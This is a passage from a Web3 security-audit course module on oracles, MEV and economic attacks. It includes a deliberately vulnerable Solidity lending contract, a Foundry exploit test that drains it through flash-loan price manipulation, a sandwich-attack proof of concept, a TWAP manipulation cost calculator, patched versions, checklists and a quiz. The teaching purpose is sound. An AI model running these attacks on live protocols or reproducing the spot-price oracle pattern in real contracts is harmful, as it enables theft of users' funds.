Audit angle: identify every “time-edge” event in the protocol. For each, ask: who profits from being first? Is the order of operations defensible (e.g., via commit-reveal)?


9. MEV Mitigations — Defensive Architecture

There is no silver bullet. Each technique trades off privacy, latency, complexity, and trust assumptions.

9.1 Commit-reveal

The user submits a hash of the order; later submits the preimage. By the time the order is revealed, it’s too late to front-run because the next block’s inclusion has been decided.

Adoption: limited (UX-bad: two transactions, must remember the salt). Useful in highly adversarial contexts (governance, sealed-bid auctions, randomness).

9.2 Private mempool (Flashbots Protect)

The user submits the transaction directly to a private RPC operated by Flashbots (or similar). The tx never enters the public mempool. Sandwich bots cannot see it.

Trade-offs:

  • Censorship: the private RPC chooses what to forward. Flashbots is OFAC-compliant; some addresses get filtered.
  • No price improvement: you’re still trading on-chain; you just avoid being sandwiched.
  • Latency: the tx waits for inclusion in a block built by a builder that gets the private feed (still fast on Ethereum L1).

9.3 MEV-Share (intent-revealing auction)

A user submits a partial transaction (e.g., “swap X for some Y”) to MEV-Share. Searchers see only what the user permits (selective disclosure) and bid to back-run with arbitrage. By default 90% of the captured MEV is rebated to the user.

This is the state of the art for capturing MEV value back to users: instead of paying sandwich bots, your transaction earns rebates from arbitrageurs who exploit the price impact you create.

Audit angle: protocols that integrate MEV-Share for swap users improve UX significantly; the trust assumption is that the MEV-Share relayer correctly enforces the privacy contract.

9.4 Batch auctions (CoW Swap, Uniswap X)

Orders are not processed individually. They’re collected over a time window and matched together at a uniform clearing price.

CoW Swap specifically:

  • Off-chain solvers compete to settle a batch.
  • The “coincidence of wants” — two users with opposite intents matched directly — bypasses on-chain liquidity entirely and is MEV-free.
  • The uniform price within a batch eliminates the ordering advantage that powers sandwich attacks.

Uniswap X is intent-based with Dutch auctions: the user signs an order that decays in price; fillers race to fill it as soon as it’s profitable. Permit2 signed orders never enter the public mempool; the filler bears MEV risk on inclusion.

Audit angle: the surface shifts from “protect this swap” to “audit the solver/filler set, the off-chain protocol, the settlement contract, and the signed-order replay surface”.

9.5 Threshold encryption (Shutter, mev-commit)

Users encrypt transactions with a public key whose private key is split across a committee of keyholders. Block builders order the ciphertexts; only after ordering is finalised do committee members publish decryption shares.

Status (early 2026): Shutter Network is operational on Gnosis Chain mainnet; a Shutter + Primev proof-of-concept for Ethereum PBS is in late 2025 / early 2026 with mainnet later [verify]. Not yet a default for any major L1 protocol.

Audit angle: when a protocol claims “MEV-resistant via encryption”, check (a) which protocol — Shutter, mev-commit, SUAVE, others — (b) liveness assumption on the committee, and (c) what happens if the committee is partially compromised or unavailable.

9.6 Inclusion lists (EIP-7547)

Proposed Ethereum protocol-level change: slot-N proposer can force-include public mempool transactions in slot-N+1. Reduces censorship surface of builders/relays.

Status: Draft [verify].

9.7 Mitigation comparison

TechniqueDefends againstCost / trade-off
Slippage tolerance (amountOutMin)Sandwich (bounded loss)UX; users must set sensibly
Commit-revealAll order-flow MEVTwo-tx UX; race conditions during reveal
Private mempool (Flashbots Protect)Sandwich, front-runSome censorship risk; no price improvement
MEV-ShareSandwich + recapture valueTrust relay; opt-in
Batch auctions (CoW, Uniswap X)Sandwich, sub-optimal pricingSolver/filler trust; settlement delay
Threshold encryptionAll pre-inclusion MEVCommittee liveness; latency; complexity
Inclusion listsCensorshipNot yet shipped on Ethereum L1

10. Economic Attack Modeling

The auditor’s quantitative tool: given a candidate exploit, ask whether it’s profitable against realistic constraints.

10.1 The attacker’s resource budget

Every attack has four constraints. List them explicitly:

ConstraintQuestionTypical bound
CapitalHow much can the attacker borrow / front?Up to ~$1B via flash loans (Aave, Balancer); unbounded with off-chain capital
Time / blocksOver how many blocks can the attack run?1 (atomic, single tx) to N (e.g., 150 blocks ≈ 30 min)
InformationDoes the attacker see other pending txs? Mempool monitor; private flow?Mempool searcher access; access to private-tx relays
GasDoes it cost more in gas than it earns?Hundreds of thousands of gas for complex exploits; rarely binding

Atomic attacks (one tx) — capital is essentially free (flash loan). Time-bounded attacks — capital costs real money for the duration.

10.2 Profit model — worked example

Scenario: a lending protocol uses Uniswap V2 spot price (not TWAP) of ETH/LongTail token to value LongTail as collateral. Pool depth: 1000 ETH on ETH side, equivalent LongTail on the other side.

Attacker wants to deposit a small amount of LongTail and borrow as much ETH as possible.

Attack:

  1. Flash-loan 5000 ETH (Aave fee: 0.05% → 2.5 ETH).
  2. Swap 5000 ETH into LongTail on Uniswap V2. New reserves (constant product k = R_e * R_t):
    • R_e' = R_e + 5000 - fee = 1000 + 4985 = 5985
    • R_t' = k / R_e'
    • Implied LongTail price in ETH jumps ~36× (price = R_e' / R_t', so (R_e'/R_e)² = 35.8).
  3. Deposit 10,000 LongTail token (pre-bought at fair price for, say, 100 ETH worth) as collateral.
  4. The lending protocol reads the manipulated spot price and values 10,000 LongTail at ~3,600 ETH.
  5. Borrow against this fake valuation — say, 2,500 ETH at 70% LTV.
  6. Swap LongTail back to ETH (price reverts; lose some on slippage), restore reserves.
  7. Repay flash loan + fee. Walk away with the borrowed ETH minus reverted-position cost.

The math an auditor writes in the finding:

Flash loan: 5000 ETH (fee 2.5 ETH)
Price skew round-trip slippage: ~5% of skew capital ≈ 250 ETH lost
Borrowed against fake valuation: 2500 ETH
Net profit: 2500 - 2.5 - 250 ≈ 2247 ETH ≈ $X at current spot

Mitigation: switch to Chainlink + TWAP cross-check, or a price-deviation circuit breaker that pauses borrowing if reported price diverges by >5% over 10 minutes from a robust external source.

10.3 TWAP manipulation cost — concrete numbers

Take the same pool. Now the protocol uses a 30-minute Uniswap V2 TWAP, not spot. The attacker must hold the skewed price for 150 blocks (30 min / 12s).

Each block, an arb bot will try to revert the price by trading against the attacker. The attacker must continuously re-skew, eating the arbitrage profit every block.

Rough numbers for a 50% skew over 30 minutes on a 1000 ETH pool:

  • Initial skew: ~415 ETH spent (per sqrt(1 + N) - 1 formula).
  • Per-block defence: arb bot extracts ~5–20 ETH from the attacker each block (varies with depth and fee).
  • Total over 150 blocks: 750–3000 ETH burned to maintain the skew.
  • Net cost: ~1200+ ETH minimum.

If the protocol’s borrowable upside is <1200 ETH, the attack is uneconomic. TWAP did its job.

If the protocol’s borrowable upside is 10,000 ETH (or it’s a low-liquidity governance token where attack cost is only a few percent of bribable upside) — TWAP did not do its job. Cf. Mango Markets.

The lab in §11.3 has you script this calculation.

10.4 When TWAP isn’t enough

TWAP fails as a safeguard whenever:

  • The token is thinly traded (small R_q, so even small skew capital × time is cheap).
  • The window is short (high responsiveness over manipulation cost).
  • The target value is large relative to manipulation cost (Mango: $112M target made any TWAP cost a rounding error if windows are short).
  • The attacker has access to derivatives or correlated markets to hedge the on-chain leg.
  • The same TWAP is used across many protocols (one manipulation event drains multiple targets, multiplying the upside).

For high-value, illiquid collateral assets, TWAP alone is not a safety guarantee. Add per-block deviation limits, per-asset borrow caps, and emergency-pause guardians.


11. Lab — Build Vulnerable + Patched Lending; Sandwich PoC; TWAP Cost Calculator

11.1 Lab structure

~/web3-sec-lab/wk09/
├── 01-vulnerable-lending/        # Foundry: vuln + patched + exploit test
├── 02-sandwich-attack/           # Foundry: PoC of sandwiching an unprotected swap
├── 03-twap-cost-calc/            # Python: manipulation cost calculator
└── 04-chainlink-consumer/        # Foundry: correct Chainlink consumption pattern

11.2 Lab 1 — Vulnerable lending + patched version

Step A — vulnerable lending contract using V2 spot price

// src/VulnerableLending.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import {IUniswapV2Pair} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 
contract VulnerableLending {
    IUniswapV2Pair public immutable pair;        // collateralToken / WETH
    IERC20 public immutable collateralToken;
    IERC20 public immutable weth;
 
    mapping(address => uint256) public collateralAmount;
    mapping(address => uint256) public debtWeth;
 
    uint256 public constant LTV_BPS = 7000; // 70%
 
    constructor(address _pair, address _coll, address _weth) {
        pair = IUniswapV2Pair(_pair);
        collateralToken = IERC20(_coll);
        weth = IERC20(_weth);
    }
 
    // VULNERABLE: uses spot price from reserves
    function collateralValueInWeth(address user) public view returns (uint256) {
        (uint112 r0, uint112 r1, ) = pair.getReserves();
        // assume token0 = collateral, token1 = weth
        // price = r1 / r0 (weth per collateral)
        return (collateralAmount[user] * uint256(r1)) / uint256(r0);
    }
 
    function deposit(uint256 amt) external {
        collateralToken.transferFrom(msg.sender, address(this), amt);
        collateralAmount[msg.sender] += amt;
    }
 
    function borrow(uint256 amt) external {
        uint256 value = collateralValueInWeth(msg.sender);
        uint256 max = (value * LTV_BPS) / 10000;
        require(debtWeth[msg.sender] + amt <= max, "exceeds LTV");
        debtWeth[msg.sender] += amt;
        weth.transfer(msg.sender, amt);
    }
 
    function repay(uint256 amt) external {
        weth.transferFrom(msg.sender, address(this), amt);
        debtWeth[msg.sender] -= amt;
    }
}

Step B — the exploit test (Foundry mainnet fork)

// test/ExploitLending.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "forge-std/Test.sol";
import "../src/VulnerableLending.sol";
import "../src/mocks/FlashLoanProvider.sol";   // mock or real Aave fork
 
contract ExploitLendingTest is Test {
    VulnerableLending lending;
    IUniswapV2Pair pair;
    IERC20 coll;
    IERC20 weth;
    FlashLoanProvider flash;
 
    function setUp() public {
        // fork mainnet at a recent block
        vm.createSelectFork(vm.envString("RPC_URL"), 19_000_000);
        // ... deploy mocks or wire to a real low-liq pool ...
    }
 
    function test_drain_via_oracle_manipulation() public {
        // 1. attacker deposits a small amount of collateral
        uint256 attackerColl = 1000e18; // small
        deal(address(coll), address(this), attackerColl);
        coll.approve(address(lending), attackerColl);
        lending.deposit(attackerColl);
 
        // 2. flash-loan WETH to push pool price
        uint256 flashAmt = 5000e18;
        flash.borrow(address(weth), flashAmt);
 
        // 3. swap WETH -> collateral on V2 (push collateral price up in WETH terms)
        _swap(address(weth), address(coll), flashAmt);
 
        // 4. now collateralValueInWeth returns inflated value
        uint256 fakeValue = lending.collateralValueInWeth(address(this));
        emit log_named_uint("fake collateral value (WETH)", fakeValue);
 
        // 5. borrow at the manipulated valuation
        uint256 maxBorrow = (fakeValue * 7000) / 10000;
        lending.borrow(maxBorrow);
 
        // 6. swap collateral back to WETH (price reverts; slippage cost real)
        uint256 collIHave = coll.balanceOf(address(this));
        _swap(address(coll), address(weth), collIHave);
 
        // 7. repay flash loan
        flash.repay(address(weth), flashAmt + flashAmt * 5 / 10000);
 
        // assert: address(this) has more WETH than it started with
        uint256 finalWeth = weth.balanceOf(address(this));
        assertGt(finalWeth, 0, "attack profitable");
        emit log_named_uint("attacker net WETH", finalWeth);
    }
 
    function _swap(address inAsset, address outAsset, uint256 amt) internal {
        // ... call Uniswap V2 router ...
    }
}

Run:

forge test --match-test test_drain_via_oracle_manipulation -vvv \
  --fork-url $RPC_URL --fork-block-number 19000000

You should see the attacker walk away with substantial WETH despite depositing a small amount.

Step C — the patched version using Chainlink

// src/SafeLending.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import {AggregatorV3Interface} from "@chainlink/contracts/src/v0.8/shared/interfaces/AggregatorV3Interface.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
 
contract SafeLending {
    AggregatorV3Interface public immutable collPriceUsd; // collateral/USD
    AggregatorV3Interface public immutable ethPriceUsd;  // ETH/USD
    AggregatorV3Interface public immutable sequencerFeed; // L2 only; address(0) on L1
 
    uint256 public immutable heartbeat;
    uint256 public constant GRACE = 3600;
    uint256 public constant MAX_DEVIATION_BPS = 500; // 5%, optional cross-check
 
    error StalePrice();
    error InvalidPrice();
    error SequencerDown();
    error GracePeriodNotOver();
 
    constructor(
        address _coll, address _eth, address _seq, uint256 _hb
    ) {
        collPriceUsd = AggregatorV3Interface(_coll);
        ethPriceUsd = AggregatorV3Interface(_eth);
        sequencerFeed = AggregatorV3Interface(_seq);
        heartbeat = _hb;
    }
 
    function _checkSequencer() internal view {
        if (address(sequencerFeed) == address(0)) return; // L1
        (, int256 a, uint256 startedAt, , ) = sequencerFeed.latestRoundData();
        if (a == 1) revert SequencerDown();
        if (block.timestamp - startedAt <= GRACE) revert GracePeriodNotOver();
    }
 
    function _readPrice(AggregatorV3Interface feed) internal view returns (uint256) {
        (uint80 r, int256 p, , uint256 ua, uint80 air) = feed.latestRoundData();
        if (ua == 0) revert StalePrice();
        if (block.timestamp - ua > heartbeat) revert StalePrice();
        if (p <= 0) revert InvalidPrice();
        if (air < r) revert StalePrice();
        return uint256(p);
    }
 
    function collateralValueInEth(uint256 collAmount) public view returns (uint256) {
        _checkSequencer();
        uint256 collUsd = _readPrice(collPriceUsd); // 8 decimals
        uint256 ethUsd = _readPrice(ethPriceUsd);   // 8 decimals
        // collValueEth = collAmount * (collUsd / ethUsd)
        // normalised to 18 decimals input/output
        return (collAmount * collUsd) / ethUsd;
    }
 
    // ... rest of lending logic same as VulnerableLending ...
}

Re-run the exploit test against SafeLending. The flash-loan-driven price skew on Uniswap doesn’t affect the Chainlink-read price. The exploit no longer drains.

Stretch: add a _uniV3Twap() cross-check that reverts if Chainlink and TWAP disagree by > MAX_DEVIATION_BPS. Verify with a forced-mock scenario where one oracle is wrong.

11.3 Lab 2 — Sandwich attack PoC

// test/Sandwich.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
 
import "forge-std/Test.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
 
contract SandwichTest is Test {
    IUniswapV2Router02 router;
    IERC20 weth;
    IERC20 dai;
    address victim = address(0x1234);
    address attacker = address(0x5678);
 
    function setUp() public {
        vm.createSelectFork(vm.envString("RPC_URL"), 19_000_000);
        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
        dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
        deal(address(weth), victim, 10e18);
        deal(address(weth), attacker, 500e18);
    }
 
    function test_sandwich_victim_no_slippage() public {
        // FRONT-RUN: attacker buys DAI with 500 WETH to push price up
        vm.startPrank(attacker);
        weth.approve(address(router), type(uint256).max);
        address[] memory path1 = new address[](2);
        path1[0] = address(weth);
        path1[1] = address(dai);
        uint256[] memory got1 = router.swapExactTokensForTokens(
            500e18, 0, path1, attacker, block.timestamp
        );
        vm.stopPrank();
 
        // VICTIM: 1 WETH -> DAI with no slippage protection (amountOutMin = 0!)
        vm.startPrank(victim);
        weth.approve(address(router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(weth);
        path[1] = address(dai);
        uint256[] memory victimGot = router.swapExactTokensForTokens(
            1e18, 0 /* amountOutMin */, path, victim, block.timestamp
        );
        vm.stopPrank();
 
        // BACK-RUN: attacker sells DAI back to WETH
        vm.startPrank(attacker);
        dai.approve(address(router), type(uint256).max);
        address[] memory path2 = new address[](2);
        path2[0] = address(dai);
        path2[1] = address(weth);
        uint256[] memory got2 = router.swapExactTokensForTokens(
            got1[1], 0, path2, attacker, block.timestamp
        );
        vm.stopPrank();
 
        // Reports
        emit log_named_uint("victim DAI received", victimGot[1]);
        emit log_named_uint("attacker WETH out (>500 = profit)", got2[1]);
        assertGt(got2[1], 500e18, "attacker should profit");
    }
}

Run:

forge test --match-test test_sandwich_victim_no_slippage -vvv --fork-url $RPC_URL

Stretch: re-run the victim swap with amountOutMin = expected * 9950 / 10000 (0.5% slippage). Show that the attacker’s front-run causes the victim’s swap to revert, killing the sandwich.

11.4 Lab 3 — TWAP manipulation cost calculator

Build a Python script that, given pool reserves and target skew, prints the rough manipulation cost over N blocks.

#!/usr/bin/env python3
"""
twap_cost.py — rough TWAP manipulation cost calculator for Uniswap V2.
 
Usage: python twap_cost.py --reserves-q 1000 --reserves-t 1_000_000 \
                          --skew-pct 0.50 --blocks 150 --fee 0.003
"""
import argparse
import math
 
def manipulation_cost(rq, rt, skew, blocks, fee=0.003):
    """
    rq, rt  = reserves of quote (e.g., WETH) and target (e.g., long-tail token)
    skew    = fractional price change desired (0.50 = +50%)
    blocks  = number of blocks to hold the skew
    fee     = pool swap fee (V2 default 0.003)
    Returns approximate cost in units of `rq`.
    """
    # Initial push: buy target with quote so price (rq/rt) increases by (1+skew)
    # New rq' / new rt' = (1+skew) * (rq/rt)
    # With constant product (rq + dQ*(1-fee)) * (rt - dT) = rq * rt
    # and (rq + dQ) / (rt - dT) = (1+skew) * rq / rt
    # Solve for dQ (quote spent).
    sqrt_s = math.sqrt(1 + skew)
    # Approximation ignoring fee on the push leg (fee acts ~linearly for small dQ)
    dq_push = rq * (sqrt_s - 1) / (1 - fee)
 
    # Per-block defence: arbitrageur extracts roughly skew * rq * 2 * fee
    # (this is a rough first-order; in practice depends on bot activity & gas)
    per_block_loss = skew * rq * 2 * fee
    total_arb_loss = blocks * per_block_loss
 
    # Unwind: half of dq_push recovered net of slippage (~5% loss)
    slippage_unwind = 0.05 * dq_push
 
    total = dq_push + total_arb_loss + slippage_unwind - dq_push  # net = arb + slippage
    return {
        "initial_push_cost": dq_push,
        "per_block_loss": per_block_loss,
        "total_arb_over_window": total_arb_loss,
        "slippage_unwind": slippage_unwind,
        "net_cost_estimate": total_arb_loss + slippage_unwind,
    }
 
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--reserves-q", type=float, required=True)
    parser.add_argument("--reserves-t", type=float, required=True)
    parser.add_argument("--skew-pct", type=float, required=True)
    parser.add_argument("--blocks", type=int, required=True)
    parser.add_argument("--fee", type=float, default=0.003)
    args = parser.parse_args()
 
    result = manipulation_cost(
        args.reserves_q, args.reserves_t, args.skew_pct, args.blocks, args.fee
    )
    for k, v in result.items():
        print(f"{k:>30}: {v:,.4f}")

Run scenarios:

# Deep pool, modest skew, long window — infeasible
python twap_cost.py --reserves-q 100000 --reserves-t 100000 --skew-pct 0.10 --blocks 150
# Output (rough): net_cost_estimate ≈ 9000 WETH equivalent — infeasible to skew 10%
 
# Shallow pool, aggressive skew, short window — feasible
python twap_cost.py --reserves-q 50 --reserves-t 5000000 --skew-pct 0.50 --blocks 150
# Output: net_cost_estimate ≈ small enough to be in flash-loan-and-bribe range

Stretch: extend to V3 by reading liquidity-in-range and computing the geometric-mean impact instead.

Wire the PriceConsumer from §3.3 into a Foundry test with:

  • A mock aggregator that returns: a valid price, a stale price, a negative price, an answeredInRound mismatch.
  • Assert that each of the four bad cases reverts.
  • On L2 deployment (forked Arbitrum), wire the Sequencer Uptime feed. Simulate answer == 1 (use vm.mockCall) and assert revert.

This becomes your reference template every time you write a Chainlink integration in audit prep.

11.6 Stretch — Pyth integration

Build a small contract that:

  1. Accepts bytes[] calldata priceUpdate and msg.value in its entry function.
  2. Calls pyth.updatePriceFeeds.
  3. Reads with getPriceNoOlderThan(feedId, 60).
  4. Rejects if conf > price / 100.
  5. Normalises exponent to 1e18 base for use downstream.

Test with mock signed updates (the Pyth SDK includes test utilities to forge a signed update for local testing).


12. The Auditor’s Oracle / MEV / Economic Checklist

Add to your master checklist:

Oracle integration

  • Is the oracle architecture (push/pull/native, on-chain/off-chain) explicitly documented?
  • Is the staleness window justified vs. the protocol’s sensitivity to price age?
  • Chainlink: latestRoundData properly destructured? updatedAt checked against feed-specific heartbeat? price > 0? answeredInRound >= roundId (where targeting legacy feeds)?
  • Chainlink on L2: Sequencer Uptime Feed wired? Grace period (3600s) enforced?
  • Chainlink: feed decimals() handled (not hardcoded)? Correct feed address per chain?
  • Pyth: updatePriceFeeds called and paid for before reads? getPriceNoOlderThan not getPrice? Confidence interval (conf) gated? Exponent (expo) decoded?
  • TWAP: window length sized for the asset’s volatility and attack surface? Pool depth large enough that capital-over-time cost of manipulation exceeds protocol upside?
  • TWAP V3: observation cardinality extended? Geometric mean handled correctly?
  • Multi-oracle layer: median-of-N, primary-fallback (without weakening), or disagreement detection?
  • Per-block price-deviation circuit breaker? Per-asset borrow / mint caps?
  • If a fallback oracle exists: is the fallback as strong as the primary? (Downgrade-attack risk if not.)
  • Are decimals consistent across the price math? Are intermediate values in a single normalised precision (e.g., 1e18)?

MEV / order-flow

  • Every external swap exposes amountOutMin (or equivalent) and the protocol does not set it to 0 / MAX?
  • Deadlines (block.timestamp + N) used on swaps to prevent indefinite pending exploitation?
  • Functions whose first-caller wins (liquidations, claims, snipes) have public, equal-access entry? No whitelisted-bot-only paths that risk downtime?
  • Time-edge events (oracle update, expiry, vesting) — has the protocol modelled who races for them and what happens if a censoring relay excludes the race winners?
  • If integrating an aggregator or a private RPC (Flashbots Protect, MEV-Share): trust assumptions documented?
  • If using batch auctions / intents: solver/filler set audited? Settlement contract permissions reviewed?

Economic attack modeling

  • Threat model includes flash-loan-capacity attackers (up to ~$1B atomic capital)?
  • For each oracle the protocol consumes, the auditor can quote: “to skew this oracle by X% for Y blocks costs W to the attacker”?
  • Long-tail assets: are they subject to lower borrow caps / higher LTV requirements?
  • Cross-protocol risk: is the same oracle used by other protocols such that one manipulation = many drains?
  • Liquidation incentive sized to attract searchers in normal conditions, but capped to avoid griefing?
  • Emergency-pause and circuit-breaker available + tested?

13. Anti-patterns (cataloged)

  • latestAnswer() instead of latestRoundData()latestAnswer is deprecated and gives no staleness signal.
  • Spot-price (getReserves) as oracle — manipulable in one flash-loan tx.
  • Hardcoded oracle decimals — breaks on cross-chain deploy.
  • No L2 sequencer check on Arbitrum/Optimism/Base lending protocols — mass-liquidation on sequencer recovery.
  • amountOutMin = 0 on first-party swap routers — invites sandwich extraction.
  • Pyth read without prior updatePriceFeeds payment — reverts in production.
  • Single oracle source for high-value path — no defence in depth.
  • Weak fallback oracle (e.g., Chainlink primary → spot AMM fallback) — downgrade attack.
  • TWAP window matching trade speed (e.g., 1-minute TWAP for a fast-moving collateral) — minimal manipulation resistance.
  • TWAP on a low-liquidity pool used as collateral pricing for high-value debt — Mango/bZx shape.
  • Liquidation function gated to a whitelisted bot — single-point-of-failure during bot downtime.
  • “MEV-proof” claim without specifying mechanism — usually marketing.

14. Trade-offs and Open Debates

DecisionOption AOption BAuditor’s view
Primary price oracleChainlink Data FeedPyth NetworkChainlink for ubiquity and battle-testedness; Pyth for sub-second sensitivity (perps, options). For lending, prefer Chainlink unless the asset isn’t covered.
Backup oracleDifferent DONOn-chain TWAPDifferent DON (e.g., RedStone) is closer in strength. TWAP as fallback is acceptable for cross-check, not as primary substitute.
TWAP sourceUniswap V2Uniswap V3V3 for new deployments — geometric mean, deeper pools, longer windows.
MEV mitigation for swap usersSlippage tolerance onlySlippage + private mempool / MEV-ShareBoth. Slippage is the floor; private flow is the user-protective upgrade.
Swap protocol designPublic swap function (AMM)Intent-based (Uniswap X / CoW)Intent-based reduces MEV but adds solver trust. Auditors must scope solver set as part of the audit.
Liquidation timingSpot Chainlink + sequencer checkTWAP-based triggerSpot + sequencer is industry baseline; TWAP-only delays liquidation in fast markets, increasing protocol risk.
Sequencer Uptime grace period30 min1 hour1 hour matches Chainlink documentation; shorter is risk-creep.
Builder/relay trustUse any MEV-Boost relayRestrict to censorship-resistant relaysProtocol-level concern only for highly censorable use cases (privacy coins, certain bridges). Most DeFi: accept the relay market.

15. Quiz (≥80% to advance)

  1. Q: What’s the difference between a push oracle and a pull oracle, and name one of each? A: Push oracles (e.g., Chainlink Data Feed) write updates on-chain on a heartbeat or deviation trigger; consumers read the latest stored value. Pull oracles (e.g., Pyth) require the consumer to submit a signed price-update payload in the same transaction that reads.
  2. Q: A protocol on Arbitrum reads ETH/USD from Chainlink with proper staleness checks but no Sequencer Uptime Feed integration. What’s the audit finding? A: High-severity — during sequencer downtime followed by recovery, users cannot adjust collateral but liquidators can fire as soon as the sequencer is back, causing mass unfair liquidations. Use the Sequencer Uptime Feed + 3600s grace period.
  3. Q: Why is Pyth’s confidence interval (conf) audit-relevant? A: It quantifies publisher disagreement / market uncertainty. A wide conf indicates unreliable price; safety-critical paths should revert when conf exceeds a threshold (e.g., conf > price / 100).
  4. Q: A protocol uses a 1-minute Uniswap V2 TWAP for collateral pricing of a long-tail token in a 500. The protocol allows borrowing up to $500k against this collateral. Is this exploitable? A: Yes. Manipulation cost ≪ extractable upside. Increase the TWAP window, add Chainlink (if available), cap borrowable amount per asset, or refuse to support thin collateral.
  5. Q: Differentiate a sandwich attack from atomic cross-DEX arbitrage. Which is “toxic”? A: Atomic arbitrage corrects a price discrepancy between two venues with no individual victim — neutral / mildly LP-negative. Sandwich attacks insert a front-run + back-run around a victim’s swap, transferring value directly from the victim. Sandwich is toxic.
  6. Q: What role does a relay play in MEV-Boost, and what’s the trust assumption? A: A relay aggregates blocks from builders, runs validity/DoS checks, offers the highest-paying block header to proposers, and (after the proposer signs) reveals the block body. Trust assumption: relay does not equivocate (signing two heads), does not withhold the body after the header signature, and (in practice) does not aggressively censor.
  7. Q: A protocol claims “MEV-resistant” because it uses commit-reveal for swaps. Name one realistic weakness. A: Two-transaction UX often degrades to one-tx-with-immediate-reveal in practice; or the reveal phase still races between bots; or commit data leaks via off-chain analytics. Verify the actual implementation.
  8. Q: What’s the difference between Flashbots Protect and MEV-Share? A: Flashbots Protect is a private-RPC endpoint that hides transactions from the public mempool, preventing sandwich extraction (no value capture for the user). MEV-Share is a protocol that exposes selectively-disclosed partial transactions to searchers who bid; the user receives a kickback (default 90%) on captured MEV from arbitrage / back-run on their flow.
  9. Q: A lending protocol uses Chainlink ETH/USD as the only oracle, with proper staleness, sign, and sequencer checks. What single robustness improvement matters most? A: A circuit breaker / deviation detector: if reported price moves by more than X% relative to a secondary signal (e.g., V3 TWAP) or relative to its own recent value, pause borrows/liquidations. Defends against the single-oracle-failure mode (bad node operator round, data-source outage at Chainlink, deprecated feed).
  10. Q: An attacker considers a Mango-style attack on a thinly-traded governance token used as collateral. What four resource constraints should you list in the threat model? A: (1) Capital — flash-loan or self-funded, up to ~$1B atomic. (2) Time/blocks — atomic single-tx vs. multi-block held skew. (3) Information — mempool-visible victim flow, private-flow access. (4) Gas / inclusion path — gas costs and whether the attacker can submit via private mempool or must use public.

16. Week 09 Deliverables

  • Lab 1: vulnerable lending + exploit test passing, patched version + exploit-now-fails test passing.
  • Lab 2: sandwich PoC passing; stretch (amountOutMin defends) demonstrated.
  • Lab 3: Python TWAP cost calculator with at least three scenario runs (deep pool / shallow pool / mid-tier pool) saved as a markdown table in your notes.
  • Lab 4: Chainlink consumer with all four revert paths tested.
  • Stretch: Pyth integration test.
  • One-page write-up: “Oracle and MEV risk analysis of [a public DeFi protocol you choose]” — apply §12 checklist; flag findings.
  • Master audit checklist updated with §12 and §13 items.

17. Where this leads

Next week: Tuan-10-Bridge-Cross-Chain-Security. The trust-seam and oracle-trust thinking you developed this week generalises directly: a bridge is an oracle that vouches for “this transaction happened on chain X”. Light-client bridges are pull-style; multisig/MPC bridges are committee-attested push-style; ZK bridges are cryptographic-pull. Every bridge audit applies the §2 four-axis taxonomy in a different guise.

Then Tuan-11-L2-Rollup-Modular-Security introduces the sequencer trust model (same family of issue: a centralised actor controls ordering and inclusion). The MEV/PBS thinking from §7 maps onto L2 sequencer design directly.

In Week 14 (Tuan-14-Governance-DAO-Security) you’ll apply economic-attack modeling to governance: flash-loan-driven governance proposals, vote-buying, time-locked-delay analysis — same framework, different surface.

The auditor’s job from here on: every audit deliverable must have a trust assumptions section, an oracle and MEV risk section, and a worked economic attack for at least the most concerning surface. The §10 framework is the template.


Last updated: 2026-05-16 See also: Roadmap · References · MOC-Web3-Security-Mastery · Tuan-06-Vulnerability-Classes-Part-2 · Tuan-08-DeFi-Security-AMM-Lending-Vault · Tuan-10-Bridge-Cross-Chain-Security · Case-bZx-Price-Manipulation-2020 · Case-Harvest-Finance-2020 · Case-Mango-Markets-2022